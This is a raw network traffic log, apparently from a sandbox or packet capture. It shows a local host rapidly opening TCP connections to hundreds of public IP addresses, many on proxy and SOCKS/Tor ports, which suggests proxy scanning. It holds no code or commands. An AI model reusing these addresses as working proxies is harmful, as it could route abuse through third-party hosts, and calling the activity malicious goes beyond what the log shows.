Mar 11, 2024 15:21:02.116334915 CET	8002	49893	39.108.229.14	192.168.2.9
Mar 11, 2024 15:21:02.116348028 CET	80	50213	104.16.107.206	192.168.2.9
Mar 11, 2024 15:21:02.116358995 CET	50616	8080	192.168.2.9	103.160.205.82
Mar 11, 2024 15:21:02.116413116 CET	80	50213	104.16.107.206	192.168.2.9
Mar 11, 2024 15:21:02.116426945 CET	80	50220	104.22.14.48	192.168.2.9
Mar 11, 2024 15:21:02.116707087 CET	50408	80	192.168.2.9	104.20.56.71
Mar 11, 2024 15:21:02.116708040 CET	49893	8002	192.168.2.9	39.108.229.14
Mar 11, 2024 15:21:02.116802931 CET	80	50220	104.22.14.48	192.168.2.9
Mar 11, 2024 15:21:02.116827965 CET	50213	80	192.168.2.9	104.16.107.206
Mar 11, 2024 15:21:02.117358923 CET	80	50250	50.174.214.222	192.168.2.9
Mar 11, 2024 15:21:02.117372990 CET	80	50220	104.22.14.48	192.168.2.9
Mar 11, 2024 15:21:02.117384911 CET	50220	80	192.168.2.9	104.22.14.48
Mar 11, 2024 15:21:02.117589951 CET	80	50213	104.16.107.206	192.168.2.9
Mar 11, 2024 15:21:02.117610931 CET	50220	80	192.168.2.9	104.22.14.48
Mar 11, 2024 15:21:02.118331909 CET	50213	80	192.168.2.9	104.16.107.206
Mar 11, 2024 15:21:02.118335009 CET	50617	80	192.168.2.9	20.210.113.32
Mar 11, 2024 15:21:02.118561029 CET	50618	3128	192.168.2.9	139.129.162.65
Mar 11, 2024 15:21:02.119093895 CET	50619	80	192.168.2.9	50.174.7.153
Mar 11, 2024 15:21:02.119692087 CET	50620	4145	192.168.2.9	68.71.247.130
Mar 11, 2024 15:21:02.119776011 CET	8002	49893	39.108.229.14	192.168.2.9
Mar 11, 2024 15:21:02.120177984 CET	50622	8080	192.168.2.9	102.68.128.215
Mar 11, 2024 15:21:02.120254040 CET	50621	999	192.168.2.9	45.174.57.22
Mar 11, 2024 15:21:02.120255947 CET	49893	8002	192.168.2.9	39.108.229.14
Mar 11, 2024 15:21:02.120307922 CET	80	50416	104.20.178.166	192.168.2.9
Mar 11, 2024 15:21:02.120384932 CET	50416	80	192.168.2.9	104.20.178.166
Mar 11, 2024 15:21:02.120687962 CET	50416	80	192.168.2.9	104.20.178.166
Mar 11, 2024 15:21:02.120872974 CET	32233	50364	162.214.170.144	192.168.2.9
Mar 11, 2024 15:21:02.120946884 CET	50364	32233	192.168.2.9	162.214.170.144
Mar 11, 2024 15:21:02.121227026 CET	50364	32233	192.168.2.9	162.214.170.144
Mar 11, 2024 15:21:02.121947050 CET	49742	47270	192.168.2.9	103.233.2.90
Mar 11, 2024 15:21:02.121948957 CET	50623	80	192.168.2.9	31.223.184.143
Mar 11, 2024 15:21:02.121974945 CET	49737	35650	192.168.2.9	138.68.155.22
Mar 11, 2024 15:21:02.122431040 CET	50624	3128	192.168.2.9	59.15.28.76
Mar 11, 2024 15:21:02.123013020 CET	50625	18031	192.168.2.9	72.10.160.91
Mar 11, 2024 15:21:02.123012066 CET	50626	4145	192.168.2.9	45.112.125.53
Mar 11, 2024 15:21:02.123122931 CET	50627	50509	192.168.2.9	162.214.163.137
Mar 11, 2024 15:21:02.123864889 CET	50629	8089	192.168.2.9	183.91.80.194
Mar 11, 2024 15:21:02.123979092 CET	50628	24663	192.168.2.9	92.205.61.38
Mar 11, 2024 15:21:02.124030113 CET	80	50234	104.19.217.219	192.168.2.9
Mar 11, 2024 15:21:02.124066114 CET	80	50234	104.19.217.219	192.168.2.9
Mar 11, 2024 15:21:02.124339104 CET	50234	80	192.168.2.9	104.19.217.219
Mar 11, 2024 15:21:02.124413013 CET	80	50234	104.19.217.219	192.168.2.9
Mar 11, 2024 15:21:02.125034094 CET	80	50323	172.93.213.177	192.168.2.9
Mar 11, 2024 15:21:02.125042915 CET	50631	4145	192.168.2.9	162.253.68.97
Mar 11, 2024 15:21:02.125044107 CET	50630	9091	192.168.2.9	103.112.128.37
Mar 11, 2024 15:21:02.125049114 CET	9150	50210	86.8.163.88	192.168.2.9
Mar 11, 2024 15:21:02.125086069 CET	50234	80	192.168.2.9	104.19.217.219
Mar 11, 2024 15:21:02.125140905 CET	50210	9150	192.168.2.9	86.8.163.88
Mar 11, 2024 15:21:02.125142097 CET	50323	80	192.168.2.9	172.93.213.177
Mar 11, 2024 15:21:02.125370979 CET	50323	80	192.168.2.9	172.93.213.177
Mar 11, 2024 15:21:02.125781059 CET	50210	9150	192.168.2.9	86.8.163.88
Mar 11, 2024 15:21:02.126585960 CET	1080	50139	138.36.150.16	192.168.2.9
Mar 11, 2024 15:21:02.126604080 CET	80	49748	52.67.10.183	192.168.2.9
Mar 11, 2024 15:21:02.126614094 CET	50632	20037	192.168.2.9	64.44.139.12
Mar 11, 2024 15:21:02.126667976 CET	50139	1080	192.168.2.9	138.36.150.16
Mar 11, 2024 15:21:02.126955986 CET	50139	1080	192.168.2.9	138.36.150.16
Mar 11, 2024 15:21:02.127963066 CET	50633	18657	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:02.128353119 CET	50635	80	192.168.2.9	104.24.35.152
Mar 11, 2024 15:21:02.128354073 CET	50634	3128	192.168.2.9	39.106.60.216
Mar 11, 2024 15:21:02.128416061 CET	5000	50151	49.228.131.169	192.168.2.9
Mar 11, 2024 15:21:02.128586054 CET	50151	5000	192.168.2.9	49.228.131.169
Mar 11, 2024 15:21:02.128797054 CET	50151	5000	192.168.2.9	49.228.131.169
Mar 11, 2024 15:21:02.128983974 CET	8888	49834	119.3.215.41	192.168.2.9
Mar 11, 2024 15:21:02.129338026 CET	49834	8888	192.168.2.9	119.3.215.41
Mar 11, 2024 15:21:02.129470110 CET	49834	8888	192.168.2.9	119.3.215.41
Mar 11, 2024 15:21:02.130240917 CET	80	50149	190.58.248.86	192.168.2.9
Mar 11, 2024 15:21:02.130274057 CET	50636	8888	192.168.2.9	119.3.215.41
Mar 11, 2024 15:21:02.130578041 CET	8080	50196	47.88.3.19	192.168.2.9
Mar 11, 2024 15:21:02.130932093 CET	49748	80	192.168.2.9	52.67.10.183
Mar 11, 2024 15:21:02.131278038 CET	50637	80	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:02.131377935 CET	50638	1080	192.168.2.9	181.3.51.47
Mar 11, 2024 15:21:02.132237911 CET	10919	50431	98.178.72.21	192.168.2.9
Mar 11, 2024 15:21:02.132340908 CET	50431	10919	192.168.2.9	98.178.72.21
Mar 11, 2024 15:21:02.133064985 CET	80	49963	27.96.235.171	192.168.2.9
Mar 11, 2024 15:21:02.133141994 CET	49963	80	192.168.2.9	27.96.235.171
Mar 11, 2024 15:21:02.133244991 CET	80	49963	27.96.235.171	192.168.2.9
Mar 11, 2024 15:21:02.133837938 CET	80	50363	50.145.6.38	192.168.2.9
Mar 11, 2024 15:21:02.134002924 CET	31654	50435	98.162.25.4	192.168.2.9
Mar 11, 2024 15:21:02.134756088 CET	8888	49834	119.3.215.41	192.168.2.9
Mar 11, 2024 15:21:02.134849072 CET	50435	31654	192.168.2.9	98.162.25.4
Mar 11, 2024 15:21:02.134896994 CET	16683	50320	72.10.160.94	192.168.2.9
Mar 11, 2024 15:21:02.134910107 CET	80	50264	35.180.188.216	192.168.2.9
Mar 11, 2024 15:21:02.135071039 CET	7302	50146	60.190.68.154	192.168.2.9
Mar 11, 2024 15:21:02.135276079 CET	50146	7302	192.168.2.9	60.190.68.154
Mar 11, 2024 15:21:02.135814905 CET	80	50281	50.218.57.64	192.168.2.9
Mar 11, 2024 15:21:02.136266947 CET	8080	50122	103.190.54.141	192.168.2.9
Mar 11, 2024 15:21:02.136373997 CET	50122	8080	192.168.2.9	103.190.54.141
Mar 11, 2024 15:21:02.136897087 CET	80	50268	50.217.226.40	192.168.2.9
Mar 11, 2024 15:21:02.137588024 CET	49845	11691	192.168.2.9	72.10.160.90
Mar 11, 2024 15:21:02.137588978 CET	49738	8089	192.168.2.9	114.106.173.229
Mar 11, 2024 15:21:02.137589931 CET	49838	80	192.168.2.9	50.168.163.182
Mar 11, 2024 15:21:02.137609005 CET	49743	999	192.168.2.9	181.78.19.242
Mar 11, 2024 15:21:02.137609959 CET	49739	32588	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:02.137613058 CET	49749	8118	192.168.2.9	185.164.163.135
Mar 11, 2024 15:21:02.137613058 CET	49744	999	192.168.2.9	189.173.223.225
Mar 11, 2024 15:21:02.137615919 CET	49750	80	192.168.2.9	45.117.179.209
Mar 11, 2024 15:21:02.138737917 CET	80	49740	50.220.168.134	192.168.2.9
Mar 11, 2024 15:21:02.139763117 CET	8080	50224	194.247.173.17	192.168.2.9
Mar 11, 2024 15:21:02.139841080 CET	50224	8080	192.168.2.9	194.247.173.17
Mar 11, 2024 15:21:02.141587973 CET	80	50274	50.217.226.46	192.168.2.9
Mar 11, 2024 15:21:02.142400980 CET	80	50342	5.161.103.113	192.168.2.9
Mar 11, 2024 15:21:02.142441988 CET	4145	50421	107.181.168.145	192.168.2.9
Mar 11, 2024 15:21:02.142577887 CET	50342	80	192.168.2.9	5.161.103.113
Mar 11, 2024 15:21:02.144057989 CET	9080	50345	38.54.6.39	192.168.2.9
Mar 11, 2024 15:21:02.144180059 CET	50345	9080	192.168.2.9	38.54.6.39
Mar 11, 2024 15:21:02.144747972 CET	13412	49948	37.187.77.58	192.168.2.9
Mar 11, 2024 15:21:02.144762993 CET	7891	49953	43.129.228.46	192.168.2.9
Mar 11, 2024 15:21:02.144967079 CET	7891	49953	43.129.228.46	192.168.2.9
Mar 11, 2024 15:21:02.147386074 CET	80	50252	104.25.135.170	192.168.2.9
Mar 11, 2024 15:21:02.147404909 CET	80	50252	104.25.135.170	192.168.2.9
Mar 11, 2024 15:21:02.148243904 CET	49953	7891	192.168.2.9	43.129.228.46
Mar 11, 2024 15:21:02.148256063 CET	80	50252	104.25.135.170	192.168.2.9
Mar 11, 2024 15:21:02.148452044 CET	50252	80	192.168.2.9	104.25.135.170
Mar 11, 2024 15:21:02.150583029 CET	8080	49868	103.118.46.61	192.168.2.9
Mar 11, 2024 15:21:02.150707960 CET	49868	8080	192.168.2.9	103.118.46.61
Mar 11, 2024 15:21:02.151119947 CET	8080	49868	103.118.46.61	192.168.2.9
Mar 11, 2024 15:21:02.151546001 CET	80	50269	104.25.108.120	192.168.2.9
Mar 11, 2024 15:21:02.151560068 CET	80	50269	104.25.108.120	192.168.2.9
Mar 11, 2024 15:21:02.152134895 CET	80	50269	104.25.108.120	192.168.2.9
Mar 11, 2024 15:21:02.152148008 CET	80	49966	5.61.33.234	192.168.2.9
Mar 11, 2024 15:21:02.152232885 CET	80	49966	5.61.33.234	192.168.2.9
Mar 11, 2024 15:21:02.152251959 CET	80	49966	5.61.33.234	192.168.2.9
Mar 11, 2024 15:21:02.152296066 CET	50269	80	192.168.2.9	104.25.108.120
Mar 11, 2024 15:21:02.152362108 CET	49966	80	192.168.2.9	5.61.33.234
Mar 11, 2024 15:21:02.152434111 CET	9050	50259	141.95.86.243	192.168.2.9
Mar 11, 2024 15:21:02.153204918 CET	49747	8080	192.168.2.9	103.167.68.77
Mar 11, 2024 15:21:02.153206110 CET	49745	33333	192.168.2.9	101.255.116.163
Mar 11, 2024 15:21:02.153223991 CET	49753	8080	192.168.2.9	103.224.124.75
Mar 11, 2024 15:21:02.153229952 CET	49755	29313	192.168.2.9	132.148.128.88
Mar 11, 2024 15:21:02.153229952 CET	49853	13351	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:02.153229952 CET	49751	80	192.168.2.9	211.43.214.205
Mar 11, 2024 15:21:02.153261900 CET	8380	50338	68.169.60.220	192.168.2.9
Mar 11, 2024 15:21:02.153283119 CET	49757	6060	192.168.2.9	185.165.232.45
Mar 11, 2024 15:21:02.153286934 CET	49754	80	192.168.2.9	182.72.203.255
Mar 11, 2024 15:21:02.153414011 CET	50338	8380	192.168.2.9	68.169.60.220
Mar 11, 2024 15:21:02.153978109 CET	80	50247	162.159.242.109	192.168.2.9
Mar 11, 2024 15:21:02.154088020 CET	80	50247	162.159.242.109	192.168.2.9
Mar 11, 2024 15:21:02.154102087 CET	8888	50256	35.199.90.225	192.168.2.9
Mar 11, 2024 15:21:02.154392958 CET	50256	8888	192.168.2.9	35.199.90.225
Mar 11, 2024 15:21:02.154551029 CET	80	50247	162.159.242.109	192.168.2.9
Mar 11, 2024 15:21:02.154640913 CET	50247	80	192.168.2.9	162.159.242.109
Mar 11, 2024 15:21:02.155488014 CET	80	50090	23.227.38.198	192.168.2.9
Mar 11, 2024 15:21:02.155502081 CET	80	50093	104.17.132.79	192.168.2.9
Mar 11, 2024 15:21:02.156507015 CET	50224	8080	192.168.2.9	194.247.173.17
Mar 11, 2024 15:21:02.156522036 CET	50146	7302	192.168.2.9	60.190.68.154
Mar 11, 2024 15:21:02.156630993 CET	50122	8080	192.168.2.9	103.190.54.141
Mar 11, 2024 15:21:02.156688929 CET	50342	80	192.168.2.9	5.161.103.113
Mar 11, 2024 15:21:02.156956911 CET	50252	80	192.168.2.9	104.25.135.170
Mar 11, 2024 15:21:02.156963110 CET	50345	9080	192.168.2.9	38.54.6.39
Mar 11, 2024 15:21:02.157000065 CET	49953	7891	192.168.2.9	43.129.228.46
Mar 11, 2024 15:21:02.157011986 CET	49868	8080	192.168.2.9	103.118.46.61
Mar 11, 2024 15:21:02.157273054 CET	4145	50039	72.210.221.223	192.168.2.9
Mar 11, 2024 15:21:02.157288074 CET	80	50452	104.16.224.33	192.168.2.9
Mar 11, 2024 15:21:02.157387972 CET	50452	80	192.168.2.9	104.16.224.33
Mar 11, 2024 15:21:02.157391071 CET	50269	80	192.168.2.9	104.25.108.120
Mar 11, 2024 15:21:02.157408953 CET	4145	50039	72.210.221.223	192.168.2.9
Mar 11, 2024 15:21:02.157423019 CET	18940	50276	144.91.107.252	192.168.2.9
Mar 11, 2024 15:21:02.158343077 CET	49966	80	192.168.2.9	5.61.33.234
Mar 11, 2024 15:21:02.158344030 CET	50640	8080	192.168.2.9	223.18.60.191
Mar 11, 2024 15:21:02.158401012 CET	8081	50249	185.49.31.207	192.168.2.9
Mar 11, 2024 15:21:02.158514977 CET	50639	7891	192.168.2.9	43.129.228.46
Mar 11, 2024 15:21:02.158523083 CET	50249	8081	192.168.2.9	185.49.31.207
Mar 11, 2024 15:21:02.158560991 CET	49963	80	192.168.2.9	27.96.235.171
Mar 11, 2024 15:21:02.158580065 CET	24809	50352	72.10.160.90	192.168.2.9
Mar 11, 2024 15:21:02.158797026 CET	50338	8380	192.168.2.9	68.169.60.220
Mar 11, 2024 15:21:02.158802032 CET	50641	8080	192.168.2.9	103.118.46.61
Mar 11, 2024 15:21:02.159318924 CET	50247	80	192.168.2.9	162.159.242.109
Mar 11, 2024 15:21:02.159323931 CET	50256	8888	192.168.2.9	35.199.90.225
Mar 11, 2024 15:21:02.159745932 CET	80	50098	172.67.105.234	192.168.2.9
Mar 11, 2024 15:21:02.159759998 CET	11679	49775	67.43.236.20	192.168.2.9
Mar 11, 2024 15:21:02.159779072 CET	50642	87	192.168.2.9	72.169.67.61
Mar 11, 2024 15:21:02.160152912 CET	8000	49815	42.61.48.219	192.168.2.9
Mar 11, 2024 15:21:02.160178900 CET	50452	80	192.168.2.9	104.16.224.33
Mar 11, 2024 15:21:02.160248995 CET	49815	8000	192.168.2.9	42.61.48.219
Mar 11, 2024 15:21:02.160254002 CET	50249	8081	192.168.2.9	185.49.31.207
Mar 11, 2024 15:21:02.160634041 CET	50643	80	192.168.2.9	27.96.235.171
Mar 11, 2024 15:21:02.160640001 CET	50644	8080	192.168.2.9	183.88.212.184
Mar 11, 2024 15:21:02.161155939 CET	50645	4145	192.168.2.9	72.210.221.223
Mar 11, 2024 15:21:02.161158085 CET	50646	8080	192.168.2.9	213.230.107.235
Mar 11, 2024 15:21:02.161159992 CET	49815	8000	192.168.2.9	42.61.48.219
Mar 11, 2024 15:21:02.161979914 CET	50647	1080	192.168.2.9	113.121.66.250
Mar 11, 2024 15:21:02.161979914 CET	50648	8080	192.168.2.9	185.208.101.216
Mar 11, 2024 15:21:02.162924051 CET	80	50459	104.25.42.178	192.168.2.9
Mar 11, 2024 15:21:02.162955999 CET	50649	9002	192.168.2.9	183.238.163.8
Mar 11, 2024 15:21:02.163074017 CET	50459	80	192.168.2.9	104.25.42.178
Mar 11, 2024 15:21:02.163207054 CET	50650	8080	192.168.2.9	91.107.203.75
Mar 11, 2024 15:21:02.163672924 CET	50651	56613	192.168.2.9	54.38.179.162
Mar 11, 2024 15:21:02.163676023 CET	50459	80	192.168.2.9	104.25.42.178
Mar 11, 2024 15:21:02.164000988 CET	10713	50362	67.43.236.20	192.168.2.9
Mar 11, 2024 15:21:02.164026976 CET	50652	5678	192.168.2.9	203.160.57.87
Mar 11, 2024 15:21:02.164520025 CET	50653	8080	192.168.2.9	80.78.64.70
Mar 11, 2024 15:21:02.165095091 CET	50654	80	192.168.2.9	103.190.54.141
Mar 11, 2024 15:21:02.165353060 CET	4145	50454	184.178.172.14	192.168.2.9
Mar 11, 2024 15:21:02.165380955 CET	50655	26545	192.168.2.9	51.89.173.40
Mar 11, 2024 15:21:02.165535927 CET	50454	4145	192.168.2.9	184.178.172.14
Mar 11, 2024 15:21:02.165537119 CET	50656	42312	192.168.2.9	148.72.23.56
Mar 11, 2024 15:21:02.166068077 CET	50658	8080	192.168.2.9	206.189.130.107
Mar 11, 2024 15:21:02.166070938 CET	50657	29915	192.168.2.9	72.10.164.178
Mar 11, 2024 15:21:02.166454077 CET	8800	50227	43.133.136.208	192.168.2.9
Mar 11, 2024 15:21:02.166481018 CET	50659	80	192.168.2.9	172.67.182.38
Mar 11, 2024 15:21:02.166585922 CET	50660	2016	192.168.2.9	103.83.178.205
Mar 11, 2024 15:21:02.166585922 CET	50227	8800	192.168.2.9	43.133.136.208
Mar 11, 2024 15:21:02.167102098 CET	5385	49772	72.10.160.170	192.168.2.9
Mar 11, 2024 15:21:02.167130947 CET	50227	8800	192.168.2.9	43.133.136.208
Mar 11, 2024 15:21:02.167232990 CET	50661	80	192.168.2.9	185.212.60.62
Mar 11, 2024 15:21:02.167278051 CET	50662	4145	192.168.2.9	68.1.210.189
Mar 11, 2024 15:21:02.167614937 CET	4145	50457	184.178.172.17	192.168.2.9
Mar 11, 2024 15:21:02.167907000 CET	50663	46983	192.168.2.9	132.148.167.231
Mar 11, 2024 15:21:02.168116093 CET	50457	4145	192.168.2.9	184.178.172.17
Mar 11, 2024 15:21:02.168154001 CET	50664	8080	192.168.2.9	102.213.248.28
Mar 11, 2024 15:21:02.168339968 CET	50665	4145	192.168.2.9	36.90.61.224
Mar 11, 2024 15:21:02.168818951 CET	49859	9375	192.168.2.9	92.204.134.38
Mar 11, 2024 15:21:02.168818951 CET	49759	4145	192.168.2.9	12.89.124.138
Mar 11, 2024 15:21:02.168819904 CET	49756	9002	192.168.2.9	183.234.85.26
Mar 11, 2024 15:21:02.168876886 CET	2509	50369	67.43.228.250	192.168.2.9
Mar 11, 2024 15:21:02.168905973 CET	49760	3128	192.168.2.9	195.93.172.32
Mar 11, 2024 15:21:02.168998957 CET	50666	1981	192.168.2.9	41.254.53.70
Mar 11, 2024 15:21:02.169416904 CET	8080	50298	201.184.63.218	192.168.2.9
Mar 11, 2024 15:21:02.169488907 CET	80	49978	128.140.26.12	192.168.2.9
Mar 11, 2024 15:21:02.169501066 CET	80	49978	128.140.26.12	192.168.2.9
Mar 11, 2024 15:21:02.170413017 CET	50667	83	192.168.2.9	103.215.207.85
Mar 11, 2024 15:21:02.170413017 CET	50668	80	192.168.2.9	146.70.80.76
Mar 11, 2024 15:21:02.170799971 CET	50670	1080	192.168.2.9	111.90.150.109
Mar 11, 2024 15:21:02.170800924 CET	50669	80	192.168.2.9	128.140.26.12
Mar 11, 2024 15:21:02.170842886 CET	80	49949	177.12.118.160	192.168.2.9
Mar 11, 2024 15:21:02.170854092 CET	80	49949	177.12.118.160	192.168.2.9
Mar 11, 2024 15:21:02.170959949 CET	49949	80	192.168.2.9	177.12.118.160
Mar 11, 2024 15:21:02.171242952 CET	50671	80	192.168.2.9	191.101.234.75
Mar 11, 2024 15:21:02.171247005 CET	49949	80	192.168.2.9	177.12.118.160
Mar 11, 2024 15:21:02.171293020 CET	80	49725	50.218.57.71	192.168.2.9
Mar 11, 2024 15:21:02.171469927 CET	50672	80	192.168.2.9	177.12.118.160
Mar 11, 2024 15:21:02.171473980 CET	50673	8080	192.168.2.9	103.154.146.66
Mar 11, 2024 15:21:02.172029018 CET	8080	50231	143.64.8.21	192.168.2.9
Mar 11, 2024 15:21:02.172297001 CET	50231	8080	192.168.2.9	143.64.8.21
Mar 11, 2024 15:21:02.172297001 CET	50231	8080	192.168.2.9	143.64.8.21
Mar 11, 2024 15:21:02.172298908 CET	50674	33633	192.168.2.9	190.109.72.10
Mar 11, 2024 15:21:02.175025940 CET	50675	8081	192.168.2.9	154.239.3.185
Mar 11, 2024 15:21:02.176529884 CET	3128	50290	178.236.246.53	192.168.2.9
Mar 11, 2024 15:21:02.176675081 CET	50290	3128	192.168.2.9	178.236.246.53
Mar 11, 2024 15:21:02.176851034 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:02.177144051 CET	80	50292	104.24.136.68	192.168.2.9
Mar 11, 2024 15:21:02.177158117 CET	80	50292	104.24.136.68	192.168.2.9
Mar 11, 2024 15:21:02.177211046 CET	80	50283	172.67.181.149	192.168.2.9
Mar 11, 2024 15:21:02.177222013 CET	80	50283	172.67.181.149	192.168.2.9
Mar 11, 2024 15:21:02.178143024 CET	80	50292	104.24.136.68	192.168.2.9
Mar 11, 2024 15:21:02.178155899 CET	80	49997	119.196.168.183	192.168.2.9
Mar 11, 2024 15:21:02.179259062 CET	80	50283	172.67.181.149	192.168.2.9
Mar 11, 2024 15:21:02.179272890 CET	8899	49973	8.217.95.44	192.168.2.9
Mar 11, 2024 15:21:02.179332972 CET	49997	80	192.168.2.9	119.196.168.183
Mar 11, 2024 15:21:02.179332972 CET	50283	80	192.168.2.9	172.67.181.149
Mar 11, 2024 15:21:02.179336071 CET	50292	80	192.168.2.9	104.24.136.68
Mar 11, 2024 15:21:02.179384947 CET	8899	49973	8.217.95.44	192.168.2.9
Mar 11, 2024 15:21:02.179410934 CET	49973	8899	192.168.2.9	8.217.95.44
Mar 11, 2024 15:21:02.179454088 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:02.179544926 CET	9764	50396	162.243.102.207	192.168.2.9
Mar 11, 2024 15:21:02.179658890 CET	50396	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:02.180030107 CET	8085	50203	95.38.95.40	192.168.2.9
Mar 11, 2024 15:21:02.183862925 CET	80	50473	185.162.231.254	192.168.2.9
Mar 11, 2024 15:21:02.183877945 CET	80	50221	5.78.65.91	192.168.2.9
Mar 11, 2024 15:21:02.184443951 CET	49762	24000	192.168.2.9	162.254.38.202
Mar 11, 2024 15:21:02.184447050 CET	49761	1080	192.168.2.9	31.169.79.37
Mar 11, 2024 15:21:02.184448957 CET	50473	80	192.168.2.9	185.162.231.254
Mar 11, 2024 15:21:02.184459925 CET	49763	55610	192.168.2.9	162.241.45.22
Mar 11, 2024 15:21:02.184462070 CET	49766	8080	192.168.2.9	103.122.60.241
Mar 11, 2024 15:21:02.184472084 CET	49768	55443	192.168.2.9	103.206.208.135
Mar 11, 2024 15:21:02.184473991 CET	49767	9090	192.168.2.9	38.10.69.109
Mar 11, 2024 15:21:02.184473991 CET	49774	3128	192.168.2.9	185.123.143.251
Mar 11, 2024 15:21:02.184504986 CET	80	49861	94.20.183.172	192.168.2.9
Mar 11, 2024 15:21:02.184530973 CET	49765	3128	192.168.2.9	84.17.51.235
Mar 11, 2024 15:21:02.184741020 CET	80	49861	94.20.183.172	192.168.2.9
Mar 11, 2024 15:21:02.184756041 CET	80	49861	94.20.183.172	192.168.2.9
Mar 11, 2024 15:21:02.184923887 CET	49861	80	192.168.2.9	94.20.183.172
Mar 11, 2024 15:21:02.190542936 CET	80	50367	50.168.163.177	192.168.2.9
Mar 11, 2024 15:21:02.194160938 CET	10000	50011	46.17.63.166	192.168.2.9
Mar 11, 2024 15:21:02.194175005 CET	80	50025	61.79.73.225	192.168.2.9
Mar 11, 2024 15:21:02.194194078 CET	4145	50144	199.102.106.94	192.168.2.9
Mar 11, 2024 15:21:02.194205046 CET	4145	50144	199.102.106.94	192.168.2.9
Mar 11, 2024 15:21:02.195329905 CET	50025	80	192.168.2.9	61.79.73.225
Mar 11, 2024 15:21:02.195336103 CET	50290	3128	192.168.2.9	178.236.246.53
Mar 11, 2024 15:21:02.195427895 CET	49997	80	192.168.2.9	119.196.168.183
Mar 11, 2024 15:21:02.195431948 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:02.195512056 CET	4145	50357	72.195.101.99	192.168.2.9
Mar 11, 2024 15:21:02.195804119 CET	50283	80	192.168.2.9	172.67.181.149
Mar 11, 2024 15:21:02.195805073 CET	49973	8899	192.168.2.9	8.217.95.44
Mar 11, 2024 15:21:02.195866108 CET	50357	4145	192.168.2.9	72.195.101.99
Mar 11, 2024 15:21:02.196086884 CET	50292	80	192.168.2.9	104.24.136.68
Mar 11, 2024 15:21:02.196258068 CET	10000	50011	46.17.63.166	192.168.2.9
Mar 11, 2024 15:21:02.196753025 CET	80	50025	61.79.73.225	192.168.2.9
Mar 11, 2024 15:21:02.197072029 CET	50396	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:02.197072029 CET	50473	80	192.168.2.9	185.162.231.254
Mar 11, 2024 15:21:02.197493076 CET	50676	80	192.168.2.9	119.196.168.183
Mar 11, 2024 15:21:02.197551966 CET	50677	8080	192.168.2.9	103.247.21.98
Mar 11, 2024 15:21:02.197702885 CET	50678	8899	192.168.2.9	8.217.95.44
Mar 11, 2024 15:21:02.198187113 CET	50679	5678	192.168.2.9	103.130.112.253
Mar 11, 2024 15:21:02.198249102 CET	50357	4145	192.168.2.9	72.195.101.99
Mar 11, 2024 15:21:02.198582888 CET	80	49729	50.217.226.44	192.168.2.9
Mar 11, 2024 15:21:02.198611021 CET	50681	4145	192.168.2.9	199.102.106.94
Mar 11, 2024 15:21:02.198805094 CET	50680	8899	192.168.2.9	117.160.250.130
Mar 11, 2024 15:21:02.199415922 CET	50684	999	192.168.2.9	181.78.95.32
Mar 11, 2024 15:21:02.199618101 CET	50683	80	192.168.2.9	104.23.141.196
Mar 11, 2024 15:21:02.199618101 CET	50685	8181	192.168.2.9	69.160.223.33
Mar 11, 2024 15:21:02.199702978 CET	50682	59867	192.168.2.9	206.189.145.23
Mar 11, 2024 15:21:02.199771881 CET	50687	80	192.168.2.9	203.243.63.16
Mar 11, 2024 15:21:02.199943066 CET	50025	80	192.168.2.9	61.79.73.225
Mar 11, 2024 15:21:02.199943066 CET	50686	8080	192.168.2.9	62.89.9.10
Mar 11, 2024 15:21:02.200054884 CET	49769	9050	192.168.2.9	95.38.95.55
Mar 11, 2024 15:21:02.200109005 CET	49773	34409	192.168.2.9	212.110.188.220
Mar 11, 2024 15:21:02.200110912 CET	49861	80	192.168.2.9	94.20.183.172
Mar 11, 2024 15:21:02.200747967 CET	50689	80	192.168.2.9	8.211.4.215
Mar 11, 2024 15:21:02.200748920 CET	50688	8081	192.168.2.9	154.72.90.74
Mar 11, 2024 15:21:02.201327085 CET	50691	47935	192.168.2.9	104.36.166.34
Mar 11, 2024 15:21:02.201328993 CET	50690	80	192.168.2.9	61.79.73.225
Mar 11, 2024 15:21:02.202147007 CET	50693	3128	192.168.2.9	18.135.211.182
Mar 11, 2024 15:21:02.202147961 CET	50692	3128	192.168.2.9	3.73.120.104
Mar 11, 2024 15:21:02.203005075 CET	50695	4153	192.168.2.9	110.74.195.2
Mar 11, 2024 15:21:02.203262091 CET	50696	80	192.168.2.9	195.35.25.94
Mar 11, 2024 15:21:02.203263998 CET	50697	8080	192.168.2.9	102.214.104.56
Mar 11, 2024 15:21:02.203900099 CET	50694	8080	192.168.2.9	78.170.135.164
Mar 11, 2024 15:21:02.203919888 CET	3128	50239	13.234.24.116	192.168.2.9
Mar 11, 2024 15:21:02.204315901 CET	50698	32650	192.168.2.9	103.160.207.49
Mar 11, 2024 15:21:02.204317093 CET	50699	10235	192.168.2.9	72.10.164.178
Mar 11, 2024 15:21:02.204404116 CET	50239	3128	192.168.2.9	13.234.24.116
Mar 11, 2024 15:21:02.204582930 CET	50700	32052	192.168.2.9	37.228.65.107
Mar 11, 2024 15:21:02.205120087 CET	80	49997	119.196.168.183	192.168.2.9
Mar 11, 2024 15:21:02.205144882 CET	50239	3128	192.168.2.9	13.234.24.116
Mar 11, 2024 15:21:02.205641031 CET	50701	9994	192.168.2.9	45.233.169.40
Mar 11, 2024 15:21:02.206764936 CET	50702	51724	192.168.2.9	184.174.75.86
Mar 11, 2024 15:21:02.206770897 CET	50703	80	192.168.2.9	203.189.96.232
Mar 11, 2024 15:21:02.207145929 CET	50704	8989	192.168.2.9	162.214.121.11
Mar 11, 2024 15:21:02.207149029 CET	50705	83	192.168.2.9	103.130.106.137
Mar 11, 2024 15:21:02.208360910 CET	50706	50207	192.168.2.9	162.241.79.22
Mar 11, 2024 15:21:02.208362103 CET	50707	44809	192.168.2.9	66.228.33.190
Mar 11, 2024 15:21:02.208415031 CET	80	50125	104.17.9.114	192.168.2.9
Mar 11, 2024 15:21:02.209044933 CET	80	50133	172.67.182.96	192.168.2.9
Mar 11, 2024 15:21:02.209058046 CET	22735	50309	91.142.222.84	192.168.2.9
Mar 11, 2024 15:21:02.209069967 CET	50708	999	192.168.2.9	181.119.67.130
